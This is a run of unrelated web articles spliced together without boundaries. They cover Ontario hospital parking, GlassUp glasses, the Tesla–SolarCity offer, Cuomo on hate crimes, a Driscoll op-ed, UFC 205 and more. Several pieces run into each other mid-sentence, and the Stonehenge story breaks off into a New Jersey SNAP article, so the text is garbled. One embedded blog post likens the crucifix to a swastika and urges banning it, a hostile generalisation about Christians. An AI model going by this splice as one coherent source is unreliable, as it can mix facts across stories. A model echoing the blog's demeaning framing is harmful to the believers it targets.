Read or Share this story: https://usat.ly/2u6m2ZyPremier Kathleen Wynne has turned her attention to hospital parking fees, reminding patients and their families that prices for long stays have been cut 50 per cent. “Patients have made it clear they’re frustrated by the high rates,” Wynne said Monday, echoing concerns about hydro rates that prompted her promise to rebate the 8 per cent provincial tax on electricity starting in January.
Under the new rules, hospitals must sell parking passes good for five, 10 and 30 days that are half the price of the daily rate, transferable to other patients, caregivers and vehicles, include in-and-out privileges and valid for nonconsecutive days for one year from the date of purchase. ( Aaron Harris / For the Toronto Star file photo )
“Parking fees can add up quickly,” she added in the lobby of the Hospital for Sick Children, where a five-day pass that used to cost $100 has been chopped to $50 since the cut took effect Saturday. Trailing the Progressive Conservatives in a recent poll and with the next provincial election looming in 19 months, Wynne and cabinet ministers have been on a “pocketbook” push to convince voters they are paying attention to strains on family finances. Her throne speech last month included the hydro rebate as the government has come under increasing criticism for electricity prices, particularly after a long hot summer when many families had their air conditioners running non-stop.
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The parking fee cut — first announced in January — applies only at hospitals that own their parking lots and garages, although the government has asked the minority of hospitals that rely on private contractors for parking facilities to give motorists a break. Daily rates were also frozen in January until 2019, and then can only rise by the rate of inflation. The changes apply only to hospitals where daily parking rates are more than $10 daily. Under the new rules, hospitals must sell parking passes good for five, 10 and 30 days that are half the price of the daily rate, transferable to other patients, caregivers and vehicles, include in-and-out privileges and valid for non-consecutive days for one year from the date of purchase. Patients and families dealing with long-term treatments or hospital stays are dealing with enough pressure, said Wynne, who pledged relief in the 2014 election campaign that vaulted her to a majority government.
“It’s stressful enough to have to make frequent trips to a hospital that families shouldn’t have to worry about spending an exorbitant amount of money in order to park.” “This is money that can go back into the family budget.”
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Patient groups have complained many Ontarians are making long trips and staying in hotels, along with time off work, to deal with illnesses in their families, with considerable financial strain. Health Minister Eric Hoskins acknowledged that hospitals — which earned about $100 million a year from parking — will feel the pinch of lost revenue. “We will be monitoring the situation closely with our hospitals, and with the OHA (Ontario Hospital Association) to make sure there are no untoward effects,” he told reporters. “We want to make sure the cost of parking is never a barrier to access of the health care system.” Hospital parking rates have been controversial for some time, with hospitals using parking fees to subsidize the rising costs of delivering health care as government funding comes increasingly under pressure. NDP Leader Andrea Horwath blamed government underfunding of hospitals for forcing parking rates up. “This should have been done a long, long time ago,” she said of the parking price caps. “Fees should never have climbed to the place they are at now. It’s families who were paying the price all the while.”
Read more about:Miss out on becoming a Google Glass Explorer? Well you're in luck—sort of. GlassUp is here to fill the heads-up-display void with its GlassUp eyeglasses. These app-enabled specs connect directly with smartphones to deliver information right onto its lenses. The company has launched an Indiegogo campaign, with a goal of $150,000, and is opening up pre-orders starting today.
So let's be clear, GlassUp eyeglasses might share the same concept as Google Glass, but they are two entirely different products. While Google Glass features native voice control and a built-in camera, GlassUp's eyeglasses have neither. The company touts its lack of privacy issues, but really these are two big omissions. GlassUp's eyeglasses will be "receive only" to start, meaning they can only receive information like notifications and not actually do anything, like snap a picture.
The GlassUp eyeglasses connect with Android, iOS, and Windows Phone smartphones via low-powered Bluetooth 4.0. Information is wirelessly transmitted from your smartphone and then projected onto the GlassUp lens. It's basically serving as a second screen for your mobile device, meaning less time pulling out your smartphone to check those pesky notifications. In function, it seems more akin to recent smartwatches like the Pebble, which also look to streamline your interactions with your smartphone by letting you quickly and easily sift through notifications.
The display will only be 320-by-240 pixels, which isn't as sharp as Google Glass's 640-by-360-pixel display, and there's no Wi-Fi radio so you'll have to rely solely on your smartphone for GlassUp to work. The lower-resolution display and lack of Wi-Fi likely contribute to better battery life, and GlassUp estimates that its eyeglasses should last for 150 hours of standby or 8 hours of normal usage. Instead of residing in the corner of your field of view, GlassUp projects its information towards the center of your view—the company claims this makes it less cumbersome to check information, but I could see being more of a nuisance than a feature.
There is one bright spot compared with Google Glass: Price. GlassUp will begin taking pre-orders today for the relatively affordable price of $399. Compare that with Google Glass's $1,500 developer edition and those missing features become a bit more palatable. GlassUp hopes to ship pre-orders by March 2014 and will continue with production even if the IndieGoGo campaign fails to reach its goal.Christianity Johnson on 19 Aug 2008 12:05 am
I went to an amusement park this past weekend. After parking, I walked to the tram that carried me to the front gate of the park. While on the tram, they played a tape that summarized park policies. This press release demonstrates the policies of a typical American amusement park:
Six Flags Announces Guest Code of Conduct for All Its Parks
In particular, this policy was given special emphasis on the tram ride:
Clothing with rude, vulgar or offensive language or graphics is not permitted at any time (shirts cannot be turned inside out as a solution)… Park admission may be denied if clothing is deemed by management to be inappropriate.
Policies like this are reassuring. Why would I want to have my trip to the amusement park disrupted by oafs wearing intentionally offensive apparel?
I was therefore shocked to walk into the park as an atheist and to be confronted at every turn by religion. Religious clothing was everywhere.
But the thing that was even more ubiquitous than the religious clothing was the crucifix. Crucifixes are worn on necklaces by men and women alike. In a typical visit to an amusement park, I imagine that the average visitor sees hundreds of crucifixes.
It is amazing that crucifixes are allowed in an amusement park that has a dress code. The reason is simple: crucifixes are highly offensive to anyone who is not a Christian. A crucifix is no different in its impact than a Nazi Swastika or a Confederate Flag.
Why are crucifixes so offensive? Because people who wear a crucifix are making the following statement:
“Anyone who does not believe in Jesus’ death and resurrection like I do will be sent to Hell – a place of unimaginable torture – for eternity. By wearing this crucifix, I publicly affirm my approval of this form of unending torture. Believe what I do, or you will writhe in Hell forevermore.”
That is the core message of the crucifix, and what a lovely message it is. It has even been proclaimed by Texas Governor Rick Perry according to this article: “those who don’t live their life in accordance with Christian values are ‘going straight to hell with a nonstop ticket.'”
The problem with the message is twofold. First, the wearer is proclaiming that eternal, unimaginable torture is acceptable. The repugnance of this proclamation is obvious. Second, the message separates Christians from non-Christians and then declares non-Christians to be sub-human animals deserving of such torture. The implicit Christian mindset thus becomes: If my “God”/”Father” despises non-Christians this much, why should a follower of God be required to extend any sort of respect or dignity to non-Christians here on earth? Why not begin the torture now?
It would be easy at this point to ask the obvious question: Why would Christians sign up for such a repulsive belief system? But there is no way to explain this. Christians always defend their beliefs, no matter how twisted, using some sort of bizarre logic. The story of Noah’s Ark is a perfect example of the process.
So instead we should ask this question: Why should Christians be allowed to display a message that is this cruel, ridiculous and offensive in a public place like an amusement park? Isn’t it time for non-Christians to acknowledge the message of the crucifix, and to ban the display of such an offensive symbol?STANDING STONES FOUND some two miles away from Stonehenge could be “one of the largest stone monuments in Europe”, according to archaeologists.
Artist's impression shows how the Durrington Walls monoliths might have looked more over 4,500 years ago. Source: Ludwig Boltzmann Institute/British Science Association
Researchers discovered at least 90 massive stones under the ground at Durrington Walls, a “superhenge” overlooking the Avon river.
The buried stones, which measure as high as 15 feet, form a C-shape that is thought to have marked a procession route for ancient rituals.
They were found lying on their side, but archaeologists believe they originally stood upright.
‘Designed to impress and impose’
Professor Vince Gaffney of the Stonehenge Living Landscapes project, which used ground-penetrating radar to unearth the monument, said the stones could be some 4,000 years old.
They were probably used as part of rituals, he said, “designed to impress and impose;
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many states, lost eligibility when the economy improved. The state unemployment rate was 5.1 percent in January.
The 11,000 unemployed people were notified in January and and February their benefits would run out on March 1 and April 1, respectively, unless they were employed, state spokeswoman Nicole Brossoie said.
As the unemployment rate dipped this summer, State Human Services officials told food bank operators and anti-poverty groups the state would seek a waiver from the job rule in the counties with high unemployment before the state program ended. But the administration ultimately declined to seek the waiver, saying it would focus on finding people work and making the job-ready.
"Rather than piecemeal New Jersey's compliance with a federal work requirement for SNAP benefits, New Jersey would augment its workforce training strategies to move this population into work programs that will help clients to meet the work requirement, maintain benefits and progress to self-sufficiency," Human Services spokeswoman Nicole Brossoie told NJ Advance Media last month.
The bill the Assembly approved by 59-9 vote with seven abstentions would require Human Services to annually review SNAP data to see if any recipients would qualify for the work exemption. The department also would have to issue monthly reports to the legislature on the number of people who are at risk of losing benefits because they have not been able to find a job.
If the department's review finds that a waiver is likely to be approved for the state or any area of the state, the commissioner must submit a request for a waiver, according to the bill.
"Unfortunately, we still have a significant number of counties still struggling to rebound from the recession, making it harder for residents to find work," said Assemblywoman Shavonda Sumter (D-Passaic). "For the long-term unemployed, SNAP benefits can make the difference between whether they go to bed hungry at night or not. This bill will ensure that these waiver requests are submitted immediately when warranted so this doesn't happen."
Editor's note: SNAP benefits expire in March and April for the 11,000 people affected unless they find work or enroll in a work activity. An earlier version of this story did not include the expiration date of their benefits.
Susan K. Livio may be reached at [email protected]. Follow her on Twitter @SusanKLivio. Find NJ.com Politics on Facebook.Tesla’s board of directors has just sent an offer to acquire SolarCity to the company’s CEO. In other words, the electric car company Elon Musk is the CEO of just offered to buy the solar company Elon Musk is the chairman of (and his cousins happen to be the co-founders of).
In the letter, sent to SolarCity co-founder and CEO Lyndon Rive, Tesla’s board of directors offered to buy all of SolarCity’s remaining common stock in exchange for Tesla’s common shares. That’s $26.50 to $28.50 a share, according to the board.
The stock-for-stock deal amounts to about $2.8 billion based on where Tesla stock was trading before the proposal was announced.
As of yesterday, Musk personally owns 22,160,370 shares of SolarCity. So if the respective boards of each company approves the acquisition, Musk would personally reap $587,249,805 to $631,570,545.
Tesla’s move to acquire the solar company will help Musk in his goal of accelerating the world’s transition to using completely sustainable energy to fuel transportation. Bringing together the two companies would enable Tesla to work closely with the solar company on its energy products like the Powerwall and Powerpack which are used to power homes and businesses in addition to powering its EVs.
"This is something we’ve been thinking about and debated for many years," Elon Musk said during a press call. "Just from a product integration standpoint and offering the most compelling experience to consumers and businesses we really need to achieve a tighter integration of the products."
"It’s the right timing because Tesla is wrapping up its activities with battery storage and Solar City is getting ready to release some exciting products as well," he continued.
If the acquisition goes through, the products will all fall under the Tesla brand. The big difference, Musk said, is cost of sales and implementation would drop because the SolarCity and Tesla products will be integrated.
"The decision to bring two companies together [will be] a result of shareholder votes independent of me," he said. "This will only move forward if there’s a majority vote of the non-me shareholders. This is simply what we think makes sense but ultimately it will have to be decided by the shareholders."
"I personally think this is a no-brainer," Musk said. "But it will become apparent over time."
So it’s up to the shareholders. The offer, should they accept it, was penned by Tesla’s board of directors which, aside from Musk, includes Brad Buss — who was formerly the CFO of Solar City until he resigned in November 2015 — Robyn Denholm, Ira Ehrenpreis, and DFJ ventures partner Steve Jurvetson.
"I think most of our customers have an interest in solar, I’d be shocked if they don’t," Musk said. "Tesla’s customer base will expand dramatically with the Model 3, [so] I think there are going to be a pretty huge number of customers where we can provide them the complete solution from energy generation, to storage, to transportation."
Here’s the offer letter:
Dear Lyndon: We are pleased to submit to you and the SolarCity board of directors a proposal to acquire all of the outstanding shares of common stock of SolarCity in exchange for Tesla common shares. Subject to completing due diligence, we propose an exchange ratio of 0.122x to 0.131x shares of Tesla common stock for each share of SolarCity common stock. This proposal represents a value of $26.50 to $28.50 per share, or a premium of approximately 21% to 30% over the closing price of SolarCity’s shares, based on today’s closing price of SolarCity’s shares and the 5-day volume weighted average price of Tesla shares. We believe that our proposal offers fair and compelling value for SolarCity and its stockholders, while also giving SolarCity’s stockholders the opportunity to receive Tesla common stock at a premium exchange ratio and the opportunity to participate in the success of the combined company through their ongoing ownership of Tesla stock. The board of directors of Tesla is excited at the prospect of a potential combination of SolarCity’s business with Tesla. We believe that the possibilities for product, service and operational synergies would be substantial, and that a combination would allow our companies to build on our respective core competencies and remain at the forefront of delivering innovative approaches for sustainable transportation and energy. We believe that a combination would generate significant benefits for stockholders, customers and employees of both Tesla and SolarCity. We are committed to a possible transaction that is fair to SolarCity’s and Tesla’s respective stockholders. To help ensure that, Tesla is prepared to make the consummation of a combination of our companies subject to the approval of a majority of disinterested stockholders of both SolarCity and Tesla voting on the transaction. In addition, as a result of their overlapping directorships, Elon Musk and Antonio Gracias have recused themselves from voting on this proposal at the Tesla board meeting at which it was approved, and will recuse themselves from voting on this proposal at the SolarCity board as well. We believe that any transaction should be the result of full and fair deliberation and negotiation by both of our boards and the fully-informed consideration of our respective stockholders. Our proposal is subject to the satisfactory completion of due diligence, the negotiation of mutually agreeable definitive transaction documents, and final approval by the Tesla board. While a transaction would be further subject to customary and usual closing conditions, we believe that Tesla is well positioned to negotiate and complete the transaction in an expedited manner. We do not anticipate significant regulatory or other obstacles in consummating a mutually beneficial transaction promptly. In light of Elon Musk’s SEC disclosure obligations in his individual capacity as a stockholder of SolarCity this proposal will be publicly disclosed, but Tesla’s intention is to proceed only on a friendly basis.We look forward to discussing a potential transaction with you, and hope to expeditiously enter into a definitive agreement. Sincerely, The Board of Directors of
Tesla Motors, Inc.
Elon Musk on colonizing Mars, Tesla, AI and moreThe next-generation Audi A8 will be built on a new, brand-exclusive platform to make it the company's most high-tech road car.
Set to be revealed on 11 July, the range-topping saloon will use the most advanced active suspension system yet fitted to an Audi.
2017 Audi A8 revealed as brand's most high-tech model yet
The so-called electromechanically actuated suspension system is part of the car's 48-volt electrical architecture and MLB Evo underpinnings. It uses a front-mounted camera to analyse the road ahead 18 times per second and then prepares the suspension accordingly.
Each wheel has an electric motor that's linked to a gearbox, a rotating tube with an internal titanium tube and a lever, which then adjusts the suspension with up to 811lb ft of torque. The system reduces body roll during cornering and pitch during acceleration and braking.
Audi claims that this technology can also improve passive safety in the event of a crash, by lifting the side of the impending impact. It says this concentrates the impact on the strongest parts of the car, such as the side sills.
The car will also use electromechanical rear-axle steering, another component of its 48V architecture. The system improves stability at speed by steering in the same direction as the front wheels or improves manoeuvrability by turning in the opposite direction in tight situations. It's also claimed to improve steering feel, and give the A8 a tighter turning circle than the A4 executive saloon.Yet another celebrity has entered the cryptocurrency promotion fray, with Academy Award winner Jamie Foxx promoting an upcoming initial coin offering (ICO).
In a post on Twitter, Foxx promoted the token sale for Cobinhood, which is being advertised as a zero-fee cryptocurrency exchange. That sale is currently underway, according to its website, netting about 17,840 ethers (worth roughly $5.1 million at press time) to date.
The promotion suggests that the spate of celebrity endorsements for cryptocurrency-related projects isn’t slowing down anytime soon. As previously reported, celebrities such as boxing champion Floyd Mayweather, Jr., socialite Paris Hilton and rap artist The Game have promoted upcoming or now-completed token sales.
To date, more than $1.8 billion has been raised through the funding model, according to data from CoinDesk’s ICO Tracker.
Image Credit: Featureflash Photo Agency / Shutterstock.comDATE: Jun 22, 2014 | BY: David Wharton | Category: Sci-Fi
This weekend there wasn’t a whole lot of interest for science fiction fans in theaters, unless you’re in an area where you could track down a theater that was showing The Rover. Next weekend we’re getting Transformers: Age of Apocalypse and Snowpiercer (finally), but in the mean time we’ve decided to climb into the Wayback Machine and revisit one particularly awesome slice of the past: Ridley Scott’s Alien, which went into wide release on June 22, 1979. To celebrate, we’ve compiled a few interesting Alien facts you might not have known.
1) The xenomorphs owe their acid blood to conceptual artist Ron Cobb
Having worked with Dan O’Bannon and John Carpenter on the low-budget sci-fi comedy Dark Star, Ron Cobb reunited with O’Bannon on Alien, helping design the Nostromo’s interiors and exteriors, the crew’s spacesuits, and other human-related elements of the movie (along with Chris Foss and Jean “Moebius” Giraud). Cobb also came up with the idea that the xenomorph would have acid for blood, as a practical solution to the question of why the humans couldn’t just shoot the alien and be done with it.written by – Rangers Report
This aim of this Analytical Match Report is to enhance the analysis of Rangers performance by providing a variety of advanced stats from the game. Explanations of these stats can be found in our tutorial for these reports.
Expected Goals: Rangers 2.0 Hibs 1.1
Given all of the flak Mark Warburton has received for his determination to do Plan A better, it may be time for opponents to figure out what their Plan B will be when facing Rangers. Because what you saw on Monday night was Rangers doing Plan A better & a Hibs side that didn’t appear to have an answer. Rangers were assertive & opportunistic, which resulted in the home side nearly doubling up the Expected Goals totals against their biggest competition for a league title. While it was a dominant performance, it wasn’t perfect as a scrambling defence left Jason Cummings wide open for the initial tally & then indecisive play from Wes Foderingham led to Hibs’ second goal. However, outside those two miscues, Hibs never really threatened to keep up in the match.
Shot Quality Breakdown:
Rangers shot selection led to a 50/50 split between shots coming from outside the penalty area & those coming from within the box. Of Rangers shots that came from a Low Danger area, only one was on target. Of the seven shots that came from inside the box, 43% were on target & 100% of those shots on target beat Mark Oxley for a goal. It is interesting to note that all five of Hibs’ shots came from inside the box. Part of this is a byproduct of relying on the counter but credit should also go to Rangers for limiting how much time Hibs spent in the final third. Hibs averages 13.4 shots a game & were limited to just five on Monday. Even more impressive is the fact that only Hibs only had two shots prior to Andy Halliday’s red card.
Andy Halliday’s red card in 70th minute skews some of this data. For example, Rangers had a Total Shots Ratio of 0.85 leading up to the dismissal. Of all the shots in the match up to that point, Hibs had only taken 15% of them. This from a team who is second to only Rangers in nearly every advanced stat – from TSR to Expected Goals. These two teams are the class of the league & Rangers was the superior side on Monday night. If Rangers could have been more accurate with their longer shots on goal, you would have seen the Shots on Target Ratio more in their favor as well. But then again, if a team gets 64% of the shots on target on a weekly basis, they will win more often then not. For example, no team in the Championship (besides Hibs & Rangers) has a Shots on Target Ratio higher then 56% & Falkirk (55%) is the only other team above 50%.
Shooting Efficiency
Shots Shots on Target Sh Acc Sh% Rangers 14 5 0.357 0.800 Hibs 5 3 0.600 0.667
Rangers Report Shot Chart:
Hibs went 52 minutes between their second & third shots. Again, did they have a Plan B for this match? As mentioned before, Rangers had taken 85% of the shots prior to Halliday’s red card – but even then Hibs only managed three shots in twenty minutes despite having the man advantage.
Special note: normally Goalkeeper Distribution Ratio is tracked for these reports. However, I decided to track Zone Exits instead for the first time. As readers of the blog know, Controlled Zone Entries into the final third are tracked for each game & for this match I decided to also track who was getting the ball out of the defensive third & how they were doing it. Given that Rangers have been victimized on the counter attack on multiple occasions this season, the need to analyze the team’s defensive plan was glaring. Look for a post on the Zone Exits in the next day or two.
Individual Outliers
Lee Wallace proved to be a real handful for the Hibernian defence, as he led the team with nine Controlled Entries into the final third, usually syncing up with Barrie McKay to spark the attack from the left flank. Rangers managed a shot on 22% of those entries into the final third. Also, of the five times Wallace was fouled, 66% came while he was in the offensive half of the pitch.
Jason Holt did what Jason Holt does. He managed to find space in the heart of the penalty area & then use that opening to get a quality shot on target…twice! Not bad for £65,000.
Martyn Waghorn set up the Holt’s opener & battered in the clincher. Additionally, he had five Controlled Entries into the final third & Rangers generated three shots on those entries.
Nicky Clark did just as much & more in 28 minutes than Jason Cummings did in 90. That’s not so much a knock on Cummings & more of a tip of the hat to Rangers defenders who limited Cummings to just the two shots – which is below his 3.25 shots per 90 minutes average.
You can follow Rangers Report on Twitter @TheGersReport
Advertisements(CNN) An "explosion" in hate crimes since Election Day has prompted the creation of a special police unit to fight the uptick in New York, Gov. Andrew Cuomo said Sunday.
The announcement coincided with an address at Harlem's Abyssinian Baptist Church, where Cuomo called for an end to the divisiveness that has gripped the country.
"The ugly political discourse of the election did not end on Election Day. In many ways it has gotten worse, [turning] into a social crisis that now challenges our identity as a state and as a nation and our people," he said.
President-elect Donald Trump wasn't specifically mentioned in his church address, but Cuomo has in the past criticized Trump and vowed in a New York Daily News op-ed that he would "reject the hateful attitudes that pervaded throughout the 2016 campaign."
The Southern Poverty Law Center has counted more than 700 incidents of hateful harassment and intimidation since the election.
A toll-free hot line that Cuomo launched on November 15 to connect New Yorkers with the state Division of Human Rights to report incidents of bias and discrimination has received more than 400 calls since Friday, according to Cuomo's office.
Calling this kind of prejudice a "social poison [in] the fabric of our nation," the governor cited a number of recent incidents, including a scourge of swastika graffiti and the case of black freshmen at the University of Pennsylvania being sent pictures of lynchings and racial slurs.
Cuomo also vowed to set up a legal defense fund for immigrants who fear prosecution under a Trump administration. He said the fund would be the first of its kind.
The plan, he said, would be to set up a public-private partnership "to provide immigrants who can't afford their own defense the legal assistance they need... because in New York, we believe in justice for all," Cuomo said.
He added, "If there is a move to deport immigrants then I say start with me. I am a son of immigrants. Son of Mario Cuomo, who is the son of Andrea Cuomo, a poor Italian immigrant who came to this country without a job, without money, or resources and he was here only for the promise of America."
Cuomo's plans also include the expansion of New York's Human Rights Law to protect students who are bullied or discriminated against.
We don't care the color of your skin or how much money you have in your pocket - if you accept the American ideal, we will work with you. — Andrew Cuomo (@NYGovCuomo) November 20, 2016
New York Police Department Commissioner James O'Neill told a New York radio station on Sunday he was disturbed by the trends.
"We've had an uptick in hate crimes, actually a little bit more than an uptick. We're up 31% from last year. We had at this time last year 250, this year we have 328, specifically against the Muslim population in New York City -- we went up from 12 to 25, and anti-Semitic is up, too, by 9% from 102 to 111," O'Neill said.
"I have no scientific evidence as to why, but you've been paying attention to what's been going on in the country over the last year or so and the rhetoric has increased, and I think that might have something to do with it," O'Neill added.
Cuomo said on Sunday that New York's tolerance will lead the way for the rest of the nation, and his announcement came as an "anti-hate" rally was held in a Brooklyn park vandalized with swastikas and pro-Trump graffiti.
Swastikas and the words "Go Trump" were painted on playground equipment at Adam Yauch Park in Brooklyn, the NYPD says.
The rally, at a playground named after the late Beastie Boy Adam Yauch, was attended by band member Adam Horovitz, better known as Ad-Rock.
"Keep your eyes open, stand up for each other. This is homegrown terrorism for real," Horovitz told the crowd. "I reject Donald Trump's vision for America. New York City, I'm asking you to do the same."On Friday, President Donald Trump hosted German Chancellor Angela Merkel at the White House where the two world leaders had a meeting in the Oval Office.
"It's crucial that we provide our American workers with a really great employment outlook," Trump told reporters in the joint press conference that followed. "And that includes making sure that we harness the full potential of women in our economy."
Unfortunately, Trump appears poised to take the opposite tack.
In many respects, Trump's newly released budget blueprint has followed a host of conservative orthodoxies — making deep cuts to government departments and agencies that the right, whether purely out of budget hawkishness or ideological posturing, care little for.
There's concern among employees at the Labor Department that one bureau in particular could be entirely on the chopping block. Several Labor employees Mic has spoken to suspect that the Women's Bureau could be eliminated entirely. And the rationale would be as disturbingly thin as those given for other cuts: Because women make up half the workforce, the bureau is now "redundant."
The culprit behind this twisted logic is the conservative think-tank Heritage Foundation's 180-page Budget Blueprint. Tucked on page 93 is the recommendation to cut the Women's Bureau. The thinking is simple, yet fallacious: If parity is the same as equality, then the "equal rights" women have been clamoring about for so many years have been achieved. (The Heritage Foundation did not respond to request for comment.)
Jon Elswick/AP Trump's "America First" budget proposal suggests $2.5 billion in cuts for the Department of Labor alone.
Trump is reported to be using the foundation's agenda as a guide. Trump's proposed budget indicates a stunning $2.5 billion cut for the Department of Labor, with one former Labor official concerned that cuts would disproportionately affect the Women's Bureau.
Yet the inequities of employment in America would seem to indicate that this government agency needs more funding, not less.
A small agency, but essential to equal pay
By federal government standards, the agency is small: There are 10 regional offices, a staff of 50 people, and an $11.7 million annual budget. But their work is significant, primarily for their seat at the table in Department of Labor discussions and for their ability to find and present data related to women in the workplace. That makes the Women's Bureau the leading agency voice on equal pay in the workplace.
Without the bureau, we'd lose the data. Using data from the Bureau of Labor Statistics and the U.S. Census, the Women's Bureau provided statistical breakdowns of the pay gap at all levels: by race, by age, for mothers, for first-time mothers, et al. The microtargeting was something that Latifa Lyles, the former director of the Bureau, said was effective in changing the conversation surrounding equal pay.
Department of Labor/Wikimedia Commons Latifa Lyles speaks at a Department of Labor Regional Forum on Working Families in Boston, 2014.
"The data allowed us to go a little bit deeper and drive the point home even more," Lyles said. "Part of the issue [surrounding equal pay] is that people think, 'it's not going to happen to me.' This was our way of saying how this affects various populations."
When Lyles started working with the bureau in 2009, shortly after former President Barack Obama took office, changes in how the Bureau communicated about equal pay were already underway. Under the Bush administration, the Women's Bureau wasn't able to present information on the pay disparities.
"Their hands were tied," Lyles explained. "They weren't able to compare men and women, they could only talk about women's earnings in a vacuum."
A singular advocate for women at Labor
Without the Women's Bureau, the Department of Labor would lack any institutional advocate for women. Every bureau within the Department of Labor has a job to do, explained Lyles. The other bureaus rely on the Women's Bureau to advocate for and speak up for women's needs in the workplace.
Library of Congress/Wikimedia Commons The Women's Bureau police department shortly after the Bureau's inception, 1920.
The Women's Bureau addresses the work-family conflict to create data-driven solutions surrounding paid sick leave, paid family leave and access to quality, affordable childcare, all concerns identified as barriers to entry for women in the workplace.
If American women participated in the labor force at the same rate as Canada or Germany, countries with more generous work-family policies, there would be five million more women in the labor force in the U.S., translating to more than $500 billion of additional economic activity per year.
Assuming that Trump is genuinely looking for quick wins on job creation, perhaps he should set his sights closer to home and remove barriers that keep more women from working jobs while still caring for a family. A good way to start would be keeping the Women's Bureau around — and well funded.Women shouldn't have to become reality TV stereotypes for claims to be taken seriously.
Kurt Busch, driver of the #41 Haas Automation Chevrolet, during practice for the NASCAR Sprint Cup Series, March 13, 2015. NASCAR placed Busch under "indefinite probation" after a family judge awarded a protective order against the driver for a September domestic assault incident against then-girlfriend, Patricia Driscoll. (Photo: Christian Petersen, Getty Images)
If there is one lesson I've learned from speaking out as a victim of domestic violence, it's this: you pay a price. In the months since I asked a family court for a protective order for my son and me against my then boyfriend, NASCAR racer Kurt Busch, I have been going through the heart-wrenching process of disentangling my life from the person I once hoped to spend it with. But while many endure this ordeal in private, I have done it while taking heavy fire in the public discourse.
As the head of a widely respected national non-profit dating a famous professional athlete, Busch, I knew full well that if I pursued justice, I would be put under a withering spotlight. Sadly, I'm all too familiar with the cycle of abuse, and I know that every woman who comes forward faces the same cruel choice, wondering whether speaking out means her life, her relationships and her reputation will be damaged forever.
But for me, defending my personal integrity outweighs everything else.
What happened to me on the night of Sept. 26, 2014, is now a matter of public record. Though Busch and his lawyers spent great effort splitting legal hairs in court, they never challenged the basic truth that he assaulted me. A lot of baseless speculation came out in the coverage of that family court ruling. Much of it came from a segment of racing fans, which I expected, but some of it from the national media, which gave space to wild accusations about me — to cite just one, that I am a "trained assassin" — that do nothing but reduce a serious legal matter into a spectacle.
It grew especially bad when the Delaware attorney general's office declined to file criminal charges against Busch, despite a recommendation from police that they do so. That let uninformed observers trumpet the false notion that nothing had happened that night — and to disparage my honesty, integrity and motivations. Another round of attacks came when NASCAR quickly moved to lift Busch's suspension, and even grant him a waiver to compete for the championship, just days later.
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In fact, there are countless possible factors for the attorney general's decision that have nothing to do with the reality of what happened that night, and I take some comfort in the fact that the one judge who did hear my case affirmed everything I said. And far from being a vindication, NASCAR's decision left in place Busch's indefinite probation and conditioned his future as a driver to his getting the professional help he so clearly needs.
My biggest fear is that other women will despair of ever coming forward when they learn how I've been treated in the public discourse, and contrast it with the speed with which Busch was "vindicated" and able to go back to his life as if nothing had ever happened. I hope I'm not right.
Though I am fully resolved to put this chapter of my life behind me, the sad reality is that the story is far from over. Will Busch and his legal team drag me through court so that I can leave the relationship with what I brought into it? Will Busch honor the commitments he made while we were together? Will he try to take my house, or fight me on something as basic as reclaiming my belongings?
The truth is I simply don't know.
But whatever the legal outcome, I'm determined to continue to fight for my integrity. That's why I have spoken out throughout this process, at great risk to my personal and professional reputation. I can handle the hatred and vitriol directed at me by some of Busch's fans, and the flagrant distortions spread by his silver-tongued lawyers.
What I can't abide is staying silent on a matter of right and wrong — of basic human decency. I could not stand tall briefing policymakers on Capitol Hill, or touring our border with the Department of Homeland Security, or working with our troops at the Armed Forces Foundation, knowing that I allowed my character to be dragged through the mud, or let myself to be cowed into silence by bullies.
Sadly, in the current climate, any high-profile case of domestic assault is bound to be polarizing, held up as a teachable moment by activists, or a scam to be debunked by amateur internet detectives, all while the tabloid media plays up the most sensationalist aspects.
But women shouldn't have to become characters in reality shows in order to tell their story simply and truthfully.
I'm neither a hero nor a statistic. I've never asked for anyone to feel sorry for me, and I am not interested in playing victim.
What I am is a businesswoman, and a philanthropist, and a devoted advocate for our troops. And above everything else, I'm a mom who simply will not let my son grow up thinking that it's ever OK to hit a woman.
Patricia Driscoll is the CEO of Frontline Defense Systems and the president of the Armed Forces Foundation. She is a native of El Paso.
In addition to its own editorials, USA TODAY publishes diverse opinions from outside writers, including our Board of Contributors. To read more columns like this, go to the Opinion front page or sign up for the daily Opinion e-mail newsletter.
Read or Share this story: http://usat.ly/1MHNsEKThe UFC didn't waste much time getting a replacement for Lyman Good.
Luque will step into Good's place and take on Belal Muhammad at UFC 205 on Nov. 12 in New York, Newsday reported Tuesday morning. UFC officials confirmed the fill-in on Twitter.
Good was ousted from the historic card Monday when it was announced that he had been flagged by USADA for a potential anti-doping violation. The New York native is provisionally suspended and will have his case adjudicated by the UFC's anti-doping partner.
Luque (10-5-1) is coming off a devastating, first-round knockout of Hector Urbina last month in Brazil. The New Jersey native has won three straight in the UFC. Luque, just 24, is an alum of The Ultimate Fighter 21.
Muhammad (10-1) beat Augusto Montano via third-round TKO last month after dropping his UFC debut over the summer to Alan Jouban in a decision. The Roufusport and Chicago Fight Team product is the former Titan FC welterweight champion. Muhammad, 28, has a background in wrestling, but is now more known for his exciting striking.
UFC 205 is headlined by a lightweight title fight between champion Eddie Alvarez and featherweight champion Conor McGregor. In the co-main event, welterweight champion Tyron Woodley defends his belt against Stephen Thompson. Also on the card, which is the UFC's first-ever in New York City, Joanna Jedrzejczyk puts her women's strawweight title on the line against Karolina Kowalkiewicz. The event takes place at Madison Square Garden.WASHINGTON (JTA) — The Senate version of a bill that would enhance the US-Israel relationship exempts Israel from some requirements in order to to allow it to join a visa waiver program.
The bill, introduced by Sens. Barbara Boxer (D-Calif.) and Roy Blunt (R-Mo.) in time for last week’s American Israel Public Affairs Committee annual policy conference, mandates the inclusion of Israel in a program that allows citizens of designated countries to enter the United States without a prearranged visa.
The US House of Representatives version of the same bill, introduced by Reps. Ileana Ros-Lehtinen (R-Fla.) and Ted Deutch (D-Fla.), also mandates such inclusion, but only once Israel meets the program’s requirements.
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The Boxer-Blunt bill incorporates language from separate earlier bills by Reps. Ron Wyden (D-Ore.) and Orrin Hatch (R-Utah) in the Senate and Rep. Brad Sherman (D-Calif.) in the House that exempts Israel from a requirement that qualifying countries must have maintained a “nonimmigrant refusal” rate of less than 3 percent.
“Nonimmigrant refusals” refer to the rate US authorities turn down applicants for visas. Israel’s current refusal rate is 5.4%.
In February, the Maariv daily reported that Jerusalem was asking young post-army Israelis to refrain from asking for visas, in a bid to improve Israel’s refusal rate and get it below 3%
An official in Boxer’s office noted that there was a precedent for exempting countries from this requirement when in 2008 Slovakia, the Czech Republic, Estonia, Latvia, Hungary, South Korea, Lithuania were added to the visa waiver list, bringing it to 37 countries, where it now stands.
